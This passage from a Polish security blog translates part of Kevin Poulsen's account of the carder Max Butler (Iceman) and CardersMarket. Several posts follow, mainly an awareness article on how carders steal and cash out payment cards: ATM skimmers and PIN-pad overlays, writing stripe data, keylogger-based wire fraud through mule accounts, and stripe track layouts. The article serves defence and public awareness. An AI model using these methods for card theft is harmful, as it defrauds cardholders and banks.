Jorku, o kim Butler myślał jako o przyszłym partnerze. Butler obdarował również Aragona statusem admina – prawdopodobnie by załagodzić ich relację po handlowej niewierności.

Jego zależność od adminów mogła faktycznie być konieczna, co nie zmienia faktu, że stawała się też coraz bardziej ryzykowna. W maju 2000 roku komisja do spraw wyroków zmieniła kary za posiadanie skradzionych kart kredytowych. Pierwotnie, karano złodziei proporcjonalnie do tego, jak duże sumy ukradli. To było świetne dla złodziei wykorzystujących karty kredytowe, ale nie dla tych na samym końcu łańcucha, którzy siedzieli na tysiącach niewykorzystanych kont. Pozwalanie im na wydostanie się było jak ustanawianie nadzoru kuratorskiego nad szefem mafii narkotykowej, ponieważ jego działki heroiny nie trafiły jeszcze do żył ćpunów. Zgodnie z nowymi zasadami, za każdy skradziony numer karty, niezależnie od tego czy używany, czy nie, groziła kara minimum 500 dolarów. Dać się złapać z tysiącem numerów – czyli efektem pracy przeciętnego sprzedawcy przez jedno popołudnie – i równie dobrze można było przelać 500 tysięcy dolarów w gotówce, przestępstwo, za które groziło około 10 lat w więzieniu. Bajt po bajcie, skradzione karty teraz wiązały się z dłuższą odsiadką niż dziecięca pornografia.

CardersMarket był pasmem sukcesów. Butler prowadził stronę pod pseudonimami Iceman, stworzył sobie dwa kolejne nicki – Digits i Darkest – pod którymi sprzedawał, mówią federalni. Butler rozszerzył swoją działalność od banków na centra transakcji kartami kredytowymi, jak i na małe restauracje i sklepy, gdzie stał się ekspertem od przemycania swoich ludzi do obsługi terminali. Rozesłał listy cen do potencjalnych klientów: 12$ za Visa Classic, 19.50$ za Visa Gold, 16.50$ za MasterCard oraz 36$ za American Express. Rabaty w przypadku sprzedaży hurtowej. W ciągu roku CardersMarket odnotował liczbę 1500 kupujących i sprzedających, więcej niż jakakolwiek z konkurencyjnych stron.

Butler chciał więcej. Młody imigrant z Mongolii, Tsengeltsetseg Tsetsendelger, płynnie posługujący się językiem rosyjskim został zaangażowany do pomocy przy przejmowaniu użytkowników z Rosyjskich i Ukraińskich forów. Wraz z rozprzestrzenianiem się operacji, Aragon zaczął martwić się, że Butler stracił z oczu główny cel – zarobienie takich pieniędzy, by oboje mogli skończyć z przestępczym biznesem na dobre. Ale podczas gdy Aragon pragnął powrotu do życia jako legalny przedsiębiorca, zobaczył że Butler spełnia swoje agresywne zachcianki. Nie chodziło mu o ucieczkę z kryminalnego świata – miał nowy plan: przejąć nad nim kontrolę.

Butler spędzał miesiące spiskując nad przeniknięciem i przejęciem swoich czterech konkurentów, z punktem kulminacyjnym w dwudniowej uczcie hackerskiej w jego przegrzanym, ale bezpiecznym mieszkaniu, wysoko ponad Tenderloin. Strony wyparowały z sieci, a tysiące ich postów później zmaterializowało się na CardersMarket. Iceman miał obecnie ponad 6 tysięcy użytkowników, co czyniło jego serwis największym w historii Internetu.

By dać sobie radę z nieuniknionymi gwałtownymi reakcjami i coraz większym nakładem pracy, Butler zaczął polegać na nowym adminie, Th3C0rrupted0ne – hakerze o dobrej opinii, który pomagał prowadzić kilka ze stron, które ‘wessał’ Butler. Ale nie wszystkich dało się tak prosto ugłaskać. CardersMarket zablokował Davida „El Mariachi” Thomasa, wcześniej pracownika FBI. Ten bojkot doprowadził Thomasa do szału. Na publicznych forach oskarżał Icemana o współpracę z organami ochrony porządku publicznego, nazywając go „Oficerem Ice” i „pieprzonym kawałkiem gówna na moich butach”, groził także zleceniem morderstwa Icemana.

Ta przepychanka ukazała tę stronę Butlera, której nikt nie widział od czasów Idaho. „Módl się lepiej do swojego boga bym nigdy nie wyszedł”, odpowiedział. „Ponieważ nie tylko będziesz wyglądał jeszcze bardziej jak jackass, niż teraz ma to miejsce, ale też wtedy nie będę miał zahamowań by dopaść cię i ukręcić ci łeb.”

Thomas nie był jedynym zawziętym przeciwnikiem Icemana. W październiku 2006 roku, reporter USA Today skontaktował się z Butlerem w celu napisania o przejęciu dokonanym przez CardersMarket oraz o strachu, że fuzja może zapoczątkować nową falę cyberprzestępstw. Butler, jako Iceman, powiedział mu, że CardersMarket jest tylko usługą, jaką oferuje. „Nie widzisz mnie zamieszanego w jakikolwiek handel.”

Komentarze Butlera nie rozwaliły tego w pył, lecz Aragon był wściekły kiedy o nich usłyszał. Wcześniej patrzył jak Butler tracił godziny na sprzeczanie się z krytykami lub altruistyczne, niedochodowe hakowanie, takie jak niszczenie stron z pornografią dziecięcą. Teraz udzielał wywiadów w prasie? Aragon stwierdził „postradałeś swoje pieprzone zmysły.”

29 września 2006 roku, około 500 pracowników Capital One otrzymało e-mail od reportera Lending News, Gordona Reily, pragnącego wywiadu na temat aktualnego wycieku danych klientów Capital One. W mailu Reily powiedział, że znalazł ich nazwiska w raporcie Financial Edge, po czym załączył link do oryginalnego artykułu. Kiedy odbiorcy wiadomości kliknęli na link – jak zrobiło 125 z nich – zostali odesłani do pustej strony. Kiedy głowili się nad nią, ukryta ‘bomba’ ominęła firewalle Capital One i dostała się do ich maszyn. W rzeczywistości nie było żadnego wycieku danych w piątym z największych emitentów kart kredytowych w Stanach, lecz Reily, lub ktoś posługujący się ty nazwiskiem, pracował w tym czasie by takowy nastąpił.

Gdy funkcjonariusze bezpieczeństwa Capital One dowiedzieli się o przekręcie, poinformowali FBI, które odesłało sprawę do National Cyber-Forensics and Training Alliance. Założona w 2002 roku organizacja non-profit była jakby Wymiarem Sprawiedliwości dla hackerów. Angażowała ona specjalistów FBI oraz personel banków i firm mający do czynienia z bezpieczeństwem, aby dzielili się doświadczeniem i inteligencją. Nie było zaskoczeniem dla agentów FBI to, że financialedgenews.com zostało zarejestrowane jako alias. Ale kiedy zbadali to dokładniej, okazało się, że zostało to zarejestrowane z tego samego konta co inna strona, którą ostatnio obserwowali: CardersMarket.com.

Federalni mieli wcześniej kilka historii związanych z Icemanem, tejemniczym założycielem CardersMarket. W 2006 roku, jeden z ich agentów, po miesiącach pracy dostał upragnioną posadę admina na DarkMarket, pod pseudonimem Master Splynter. Rząd przygotowywał zmasowany atak – największy od czasu operacji Firewall – poprzez tę właśnie stronę, gdy nagle, dosłownie z nikąd, Iceman zamknął ją i wchłonął użytkowników serwisu do CardersMarket. Poza tym wyśledził, że adres IP Splyntera pochodzi z biur NCFTA, więc mówił wszystkim o rodzącej się pułapce. Teraz atak na Capital One wykazał, że Iceman nie tylko prowadził serwis dla cyberprzestępców, ale sam był jednym z nich. Co więcej, dość przebiegłym.

Butler zachowywał się tak, jakby doskonale zdawał sobie sprawę z tego, że federalni mają go na oku. W listopadzie 2006 roku zadeklarował, że Iceman przechodzi na emeryturę, oznajmił, że kontrolę nad serwisem CardersMarket przejmuje Th3C0rrupted0ne, wówczas nieco się odizolował. Wkrótce jednak znów przejął serwis, tym razem dzięki osobie o nicku Aphex. Zwiększył jego fizyczne bezpieczeństwo zmieniając siedziby by stać się ruchomym celem.

Ale Federalni pracowali nad tajnym skarbem: Jonathanem “Zebrą” Giannonem, obiecującym młodym hakerem, który był jednym z pierwszych adminów CardersMarket. Zebra popełnił największy błąd w czerwcu 2005 roku, kiedy sprzedał 21 platynowych kart banku amerykańskiego Gollumfun’owi za 600 dolarów. Zebra jednak nie wiedział, że Gollumfun, którego prawdziwe nazwisko to Brutt Shannon Johnson, wpadł niewiele wcześniej korzystając z podrobionych czeków w Charleston. Zgodził się wtedy służyć jako informator, pracował dla biura Secret Service w Kolumbii. Butler wyczuł szpiega dość szybko i zablokował go, ale nie zdążył jednak ustrzec Zebry. 8 marca 2007 roku dzieciak został uznany winnym fałszerstw i kradzieży dowodów tożsamości.

Zebra został wezwany do sądu ze swojej celi więzienia Lexington County w południowej Karolinie tydzień po swoim procesie. Od razu rozpoznał agentów Secret Service: Bobby’ego Kirby i Brada Smitha, którym służył Gollumfun.

“Chcemy wiedzieć kim jest Iceman.”, zażądał jeden z nich.

Agenci wezwali prawnika Zebry, który zgodził się na przesłuchanie z nadzieją wygrania łagodniejszego wyroku dla swojego klienta. Podczas serii spotkań przez następne trzy tygodnie Zebra powiedział im wszystko, co wiedział. Iceman żył w San Francisco, dorobił się szybko na „dumpach”, czasami używał nicku Digits by sprzedawać i, co było najbardziej kluczowe, miał partnera, który nazywał się Christopher Aragon.

Secret Service nie miało zbyt wielu informacji o Aragonie, ale jego teczkę posiadało FBI. W 2005 roku Jeff Norminton dostał zarzut popełnienia oszustwa w Orange County. Po tym jak został zamknięty, chętnie opowiedział FBI wszystko o Aragonie i jego partnerze, Maxie Butlerze. Śledczy nigdy wcześniej nie brali pod uwagę tych informacji. Teraz wszystko, co federalni mieli do zrobienia, to zdobyć wystarczająco pewnych dowodów na Aragona, by zyskać nakaz rewizji.

Miesiąc później pomógł im ktoś inny. W sobotę, 12 maja Aragon został przyłapany przez lokalną policję w Bloomingsdale, 20 mil od domu w Capistrano Beach w Kalifornii. Wraz ze wspólnikiem kupowali torebki przy użyciu podrobionych kart. Detektywi zdobyli nakaz przeszukania jego domu i magazynu, znaleźli tam setki kart, komputer, sprzęt do podrabiania, a także niewielkie porcje kokainy, marihuany i ekstazy. Używając szczegółowych i skrupulatnych notatek biznesowych jako mapy drogowej, sprzątnęli jego współpracowników, w tym Clarę, jego żonę, która trudniła się sprzedażą torebek na eBayu. Matka Aragona zaopiekowała się dwoma chłopcami, aktualnie 6 i 9-letnimi.

Aresztowanie Aragona przestraszyło Butlera. Skaskował on jego konto na CardersMarket, porzucił swoją komórkę i znalazł kolejny bezpieczny dom – Oakwood Geary Courtyard, budynek mieszkalny w dzielnicy Tenderloin San Francisco. 7 czerwca, Butler wypożyczył czerwonego mustanga z sąsiedzkiego Zipcar, załadował do niego komputer i torbę i odjechał do Oakwood. Nie zauważył agentów Secret Service przyglądających się mu z ulicy gdy się wprowadzał.

Miesiąc później, Butler otrząsnął się na łóżku, zerwał się i zamrugał niespokojnie wpatrując się w ciemność. Jego dziewczyna, Charity Majors, bezskutecznie próbowała wczołgać się do łóżka tak, by go nie obudzić. Butler z każdym dniem stawał się coraz bardziej spięty, przestał ćwiczyć, przez co ucierpiało jego zdrowie. ”Kochanie, nie możesz tak robić”, mruczała Majors, „Tracisz świadomość tego kim jesteś i co robisz.”

“Masz rację,” powiedział “Jestem skończony.”

Nadszedł czas by się wycofać. Nadzór nad Butlerem skończył się, znalezienie pracy byłoby o wiele prostsze, niż kiedy obserwował go kurator. Nie mógł jednak zmusić się by tak po prostu porzucić CardersMarket. Nie ufał już żadnemu z pozostałych adminów, nawet Th3C0rrupted0ne, który poświęcał 14 godzin dziennie dla serwisu, czasem zachowywał się podejrzanie.

Butler nie zdawał sobie sprawy z tego, że jego czas się kończył. W lipcu i sierpniu Secret Service przesłuchało Tsetsendelgera, tłumacza rosyjskiego, który był na zwolnieniu warunkowym po tym jak został złapany z kartami kredytowymi produkcji Aragona w sklepie Apple’a w Emeryville w Kalifornii. W międzyczasie FBI uzyskało tajne pozwolenie sądowe na monitorowanie adresów IP osób, które odwiedzały serwer CardersMarket. Federalni wiedzieli, że nie było zbiegiem okoliczności to, że kilka śladów prowadziło do osób mieszkających w bloku w Oakwood. Doszli do tego, że Butler uzyskiwał dostęp do sieci Wi-Fi swoich sąsiadów.

W środę, 5 września, Butler wyrzucił Majors na poczcie i pojechał swoim kabrioletem do Oakwood. Wszedł na czwarte piętro, otworzył drzwi, rzucił się na łóżko i zasnął jak kłoda. Około 14, drzwi wejściowe zostały wywalone i pół tuzina uzbrojonych agentów Secret Service weszło do pokoju. Skuli Butlera i przetransportowali go do leżącego nieopodal budynku federalnych, by go przesłuchać. Dwóch agentów zostało wysłanych do mieszkania Majors. Zdali jej relację z tego, co się stało i zabrali ją by mogła pożegnać się z Butlerem. ”Przepraszam”, powiedział jej gdy weszła, „miałaś rację.”

Kilka miesięcy później prawnicy Aragona przekazali mu złe wieści. Secret Service otrzymało więcej szczegółów w sprawie Butlera niż wiedział Aragon, co wiązało się z tym, że Aragon raczej nie może liczyć na wcześniejsze zwolnienie. Większym problemem było to, że prawnik powiedział, iż Butler miał około miliona numerów kart kredytowych na swoim dysku. Aragon był zszokowany. Oznaczało to bowiem, że przez te wszystkie lata, które spędzili pracując nad czymś co da im ogromne pieniądze, Butler miał dostęp do danych, które ustawiłyby ich już na zawsze. Nie powiedział Aragonowi ani słowa na ten temat.

Gniew Aragona zmniejszył się, gdy uświadomił sobie konsekwencje dla Butlera. Milion zrzutów kart kredytowych, to równowartość pięciuset milionów dolarów. Butler prawdopodobnie będzie pierwszym w historii hakerem, który dostanie dożywocie.

“Nie mogłem zrozumieć, co ten facet robi? Dlaczego po prostu nie znajdzie sobie pracy? Dotarło to do mnie wiele lat później – Max po prostu lubił hackować.”

Christopher Aragon jest w męskim więzieniu Orange County Central, ponurym areszcie w centrum Santa Ana w Kalifornii. Studiuje Bhagavad Gita i próbuje odnieść to do swojego życia, przyjaźni z Butlerem i wyborów, które doprowadziły go do wpadnięcia wprost w szpony wymiaru sprawiedliwości.

Siedmiu członków starej grupy Aragona zostało uznanych winnymi, otrzymali wyroki od kilku miesięcy do siedmiu lat. Jego żona właśnie kończy odsiadkę. Aragon jest sam: jego areszt za napad na bank w młodości i powiązane oskarżenie o kradzież samochodu pomagającego w ucieczce przemówiły przeciwko niemu. Czeka na proces i jeśli zostanie skazany, może dostać do 25 lat do dożywocia.

Po drugiej stronie kraju, nieopodal Pittsburgh’u, Max Butler jest w jeszcze gorszej sytuacji. Spędził rok w więzieniu w oczekiwaniu na proces. Jedyne złagodzenie wyroku, jakie zostało mu zaoferowane, to 30 lat zamiast dożywocia. Jego prawnik próbował wydostać go za kaucją, jednak sędzia odmówił, po tym jak federalni stwierdzili, że może mieć duże zasoby ukrytych pieniędzy i może łatwo użyć swoich kontaktów by zniknąć z nowym nazwiskiem. Aby udowodnić, że ryzyko było duże, wykorzystali swój atut: korespondencję między Butlerem a informatorem Secret Service, który przeniknął do CardersMarket. W tych wiadomościach Butler przedstawiał kroki, jakie zamierzał podjąć, by zatrzeć swoje ślady po zaaresztowaniu Aragona – pokazujące jego zdolności by uniknąć wymiaru sprawiedliwości. Imię było zamazane, jednakowoż wiadomości praktycznie nie zostawiały wątpliwości co do tego, kim był szpieg. Pseudonim Th3C0rrupted0ne mógł mieć podwójne znaczenie.

Dla przyjaciół Butler wydawał się być nadzwyczajnie spokojny co do swojego zamknięcia, tak jakby czuł, że zasługuje na pobyt w więzieniu. Rozmawiał codziennie z Majors, te długie rozmowy były bardziej bliskie, niż jakiekolwiek, które zdarzało im się prowadzić gdy był zaangażowany w podwójne życie. Znalazł także kilku przyjaciół w więzieniu. Zaczęli grywać wspólnie w Dungeons & Dragons. Ale tym razem nie zastanawia się już nad tym, co zrobi, gdy zostanie wypuszczony. W końcu wydaje się, że Max Butler nie musi już niczego więcej udowadniać.

Artykuł w oryginale został napisany przez Kevina Poulsena, który znajduje się pod tym adresem. Tłumaczenie – Łukasz Chempiński – http://lukas.seclab.pl

Nowy Phrack Magazine #66

Czerwiec 11th, 2009 lukas Brak komentarzy
Categories: News Tags: , , , , ,

Metody kradzieży danych kart płatniczych

Czerwiec 10th, 2009 lukas Brak komentarzy

Portal: HACK.pl Autor: Łukasz Chempiński Data: 12.06.2006, 15:22

Czym jest Carding?

Czy znacie metody kradzieży numerów kart płatniczych jak również poufnych informacji? Jakie metody są wykorzystywane w tym ataku? Jak się przed nimi skutecznie zabezpieczyć? Na te i wiele innych pytań postaram się odpowiedzieć w niniejszym felietonie. Przedstawię oraz uświadomię problematykę ataków nazwanych carding, gdyż wiele osób pada ofiarami tych ataków, nie znając podłoża działań. Mając wgląd w typowe schematy ataków carderów będziecie mogli efektywniej wyczulić się pod kątem bezpieczeństwa swoich pieniędzy.

Skimming


Jest to kopiowanie paska magnetycznego karty. Technika wykorzystywana najczęściej przy atakach na bankomaty, gdzie złodzieje zakładają miniaturowy czytnik w miejscu, w którym klient wprowadza kartę. Jest on tak zbudowany aby nie wzbudzał podejrzeń oraz wyglądał jak część bankomatu. Do zdobycia numerów PIN osoby posiadającej kartę płatniczą caderzy używają nakładki na klawiaturę (identyczną jak w bankomacie) posiadającą własną, wbudowaną pamięć oraz zapisującą wszystkie wprowadzane do niej polecenia. Posiadając zeskanowaną kartę płatniczą oraz numer PIN atakujący bez problemu może nagrać kartę przy pomocy chociażby urządzenia MSR206, w oczywistym celu jej wykorzystania. Paradoksem jest fakt, że nagrywarka oraz czyste karty dostępne są legalnie w sklepach w Internecie. Technika skanowania i kradzieży kart płatniczych ma miejsce jest również w sklepach, restauracjach oraz innych podobnych miejscach wspierających możliwość uiszczenia opłaty kartą płatniczą. Aby ustrzec się przed tego typu atakami musimy zwracać szczególną uwagę na bankomaty, z których korzystamy, czy nie posiadają doczepionych podejrzanych urządzeń. Zwróćmy także uwagę na to co dzieje się z naszą kartą, w momencie kiedy damy ją sprzedawcy w sklepie, osobie w recepji hotelu. Jeżeli zauważymy, że została ona przesunięta ukratkiem przez inny czytnik kart, możemy w następstwie paść ofiarą carderów. Czasami sytuacje takie mają miejsce na ogromną skalę, gdzie zebrane po całym dniu na przykład w hotelu numery kart kredytowych sprzedawane są carderom po ulgowych cenach.

Instore carding

W momencie, kiedy carder posiada tylko zestanowane karty, bez kodów PIN korzysta z nich z reguły w sklepach robiąc różnego rodzaju zakupy. Potrzebuje plastiku, na który nagrywane są dane, gdzie karta posiada nadruk i hologram. Na domiar złego, karty takie są ogólnodostępne na czarnym rynku. Jeśli nie posiadają takich kart, lub dostępu do nich próbują używać starych, prawdopodobnie skradzionych z portfela, torebki – na które nanoszą własne dane. Zeskanowane karty nazywają się potocznie “dumps” a ceny ich uzależnione są od jakości karty – czy jest to karta typu classic, business, platinum a może corporate. Celem minimalnej ochrony przed sytuacją, w której ktoś posługuje się kartą bez naszej wiedzy jest stała kontrola rachunku, operacji dokonywanych naszą kartą i wszelkich aspektów, które ukażą fakt zeskanowania jej.

Wire transfers

Carderzy rozsyłają różnego rodzaju wirusy, posiadające keyloggery, zapisujące login/hasło kont bankowych, przelewając następnie pieniądze na tzw. “bank drops” czyli fikcyjne konta bankowe – wypłacając dostępne po przelewie środki. Wiele banków używa dodatkowych zabezpieczeń w postaci haseł jednorazowych, kluczy, haseł do przelewów. Gdy atakujący posiada dostęp do zainfekowanego komputera wraz z jego login/hasło konta, posiada możliwość spreparowania systemu tak, aby osoba która wpisze w swojej przeglądarce stronę banku została przeniesiona pod scam page, imitującą autentyczną stronę; prosząc o wpisanie hasła jednorazowego. Należy zachować ostrożność i w dbać o bezpieczeństwo swojego komputera, dokonywanie przelewów bankowych ze strony internetowej wymaga należytej ostrożności. Trzeba się zawsze upewnić w detalach, czy strona na którą trafiliśmy jest napewno oryginalną.

ATM cashout

Do metody tej złodzieje potrzebują są dane: numer karty, data ważności, PIN, CVV (Card Verification Number). W internecie dostępne są listy banków oraz numerów kart kredytowych, którymi można wypłacić środki finansowe przez bankomat. Karta kredytowa posiada trzy ścieżki. Na pierwszej z nich zapisywane są dane takie jak numer karty, data ważności, imię i nazwisko oraz algorytm szyfrowania. Na drugiej ścieżce znajdują się te same dane co w pierwszej oprócz imienia i nazwiska oraz litery B (od słowa bank) – oznaczającej fakt bycia kartą płatniczą. Przykład:

Ścieżka 1: B’numer_karty’^Imię/Nazwisko^’data_ważności”algorytm’
Ścieżka 2: ‘numer_karty’='data_ważności”algorytm’

Każda karta posiada swój indywidualnie wygenerowany przez bank algorytm. Bankomaty odczytują tylko ścieżkę drugą. Luka w systemach bankowych polega na tym, że algorytm karty nie jest odpowiednio interpretowaty, tylko sprawdzane są dane numeru oraz daty ważności, a także PIN. Jeżeli dane są poprawne – bankomat wypłaca pieniądze. Ta metoda jest już coraz rzadziej stosowana przez carderów, ze względu na to że większość banków uaktualniła już swoje systemy zabezpieczeń.

Casino

Jest to po prostu gra carderów w internetowych kasynach, gdzie zakładają oni na przykład dwa konta. Jedno fikcyjne, na które przelewane są pieniądze z wykorzystaniem kart kredytowych, a drugie to które wygrywa legalnie. Następnie pieniądze są przelewane na konto bankowe i wypłacane.

Shopping

Zdobywanie danych poszczególnych kart kredytowych może odbywać się z wykorzystaniem metody phishingu, czyli spamowania wiadomości drogą e-mail z adresem fałszywej strony banku. Ofiarami ataku są nieuważni ludzie, którzy otrzymując taki e-mail z informacją np. aktualizacji swoich danych i konta wchodzą na podstawioną stronę, wyglądającą identycznie jak prawdziwa. Wpisują tam swoje dane, które trafiają najczęściej na konta pocztowe carderów. Częstymi atakami przeprowadzanymi są włamania na serwery utrzymujące bazy danych zawierające poufne dane i numery kart kredytowych swoich Klientów. Czasami spotkać też można informacje o dostępności takich danych kart kredytowych na forach, lub na czarnym rynku.

Pamiętajmy o należytym bezpieczeństwie i rozwadze przy dokonywaniu przelewów on-line, nigdy nie róbmy tego z kafejek internetowych gdzie w większości przypadków na komputerach użytkowników zainstalowane są programy monitorujące wprowadzane z klawiatury informacje. Uważajmy na odnośniki, nie ufajmy adresom, które mogą być spoofowane, monitorujmy raporty przelewów i zwracajmy uwagę na bankomaty, z których korzystamy. Przy zachowaniu podstawowych środków bezpieczeństwa, nie powinno dojść do sytuacji, w której pewnego dnia po zalogowaniu się na własne konto, będzie ono puste.

Dokument w formie elektronicznej pdf.

Youtube robi za blackmarket?

Czerwiec 10th, 2009 lukas Brak komentarzy

Cyberprzestępcy tak bardzo się rozbestwili, że reklamują już swoje produkty na największym serwisie udostępniającym klipy wideo youtube.com. Można tam znaleźć skimmery, czyli nakładki na sloty w bankomacie które mają za zadanie wyglądać jak część bankomatu nie wzbudzając żadnych podejrzeń oraz ich najważniejsza funkcjonalność to kolekcjonowanie danych z kart płatniczych.

Gdy ofiara włoży kartę do slotu w bankomacie gdzie jest zamontowany skimmer najpierw dane zgywane są przez to urządzenie, a następnie trafiają w czytnik bankomatu. W tym momencie w zależności o działania skimmera albo może on tylko zapisać dane do pamięci, wysłać poprzez sieć bezprzewodową, radiową lub wysłać sms’em.

Najlepsza darmowa reklama, co? Zastanawiam się dlaczego tego typu klipy nie podlegają cenzurze i nie są usuwane..

Na tym klipie możemy zobaczyć całe ‘uzbrojenie’ cardera między innymi: lutownice, spray’e, kable, karty oraz obudowy i gotowe urządzenia. Całkiem niezła ‘fabryka zła’.

Drugą istotną sprawą w skimmingu są PIN’y, trzeba je jakoś zdobyć.. Jeśli chodzi o bankomaty to są dwa rozwiązania:

- kamera np. zamontowana nad naszą głową jako również część bankomatu i niby jarzeniówka oświetlająca nam bankomat, a w środku podzespoły kamery z okiem Wielkiego Brata zczytującego PIN’y,

- nakładka na klawiaturę tzw. PINPAD, jest to identyczna klawiatura nakładana na tę oryginalną tak aby wprowadzając pin zapamiętała ona w pamięci numer. Klikając w jeden przycisk tak naprawdę klikamy na przycisk tej fałszywej, a ona klika na prawdziwą stąd też można kontynuować transakcję.

Oczywiście możemy również bardzo szybko zdobyć kontakt do osób które robią klawiatury na zamówienie, pomoże nam nasz kochany youtube:

Oczywiście dane z klawiatury również są zapisywane, mogą być wysłane siecią bezprzewodową, radiową lub też sms’em. Chyba nie powiem nic nadzwyczajnego, że najlepszą metodą oczywiście jest wysyłanie danych sms’em, niestety w takim wypadku bardzo trudno jest złapać oszustów. Jeśli zamontują oni cały sprzęt i przez jakiś okres dane zostały zebrane po czym zauważyli, że bankomat już jest pod obserwacją policji to po prostu znikają i ich nie ma, a koszt wykonania nowych urządzeń w porównaniu do zdobytych danych to grosze..

Pytanie które można sobie postawić to czy istnieje jakiś sprzęt który potrafi między innymi zakłócić działanie takich urządzeń?

Oczywiście, że tak..

To jest tzw. anti-skimming device, urządzenie to ma za zadanie wykrywać skimmery zainstalowane blisko slotu dla kart. Jeśli wykryje sprzęt uruchamia się cichy alarm i powiadamiane są odpowiednie organy.

Tak, więc warto wiedzieć na co trzeba zwrócić uwagę podczas dokonywania transakcji z wykorzystaniem kart. Pamiętajmy o slocie, klawiaturze oraz o innych podejrzanych elementach które mogą średnio pasować do otoczenia.

Categories: Arts Tags: , , , , ,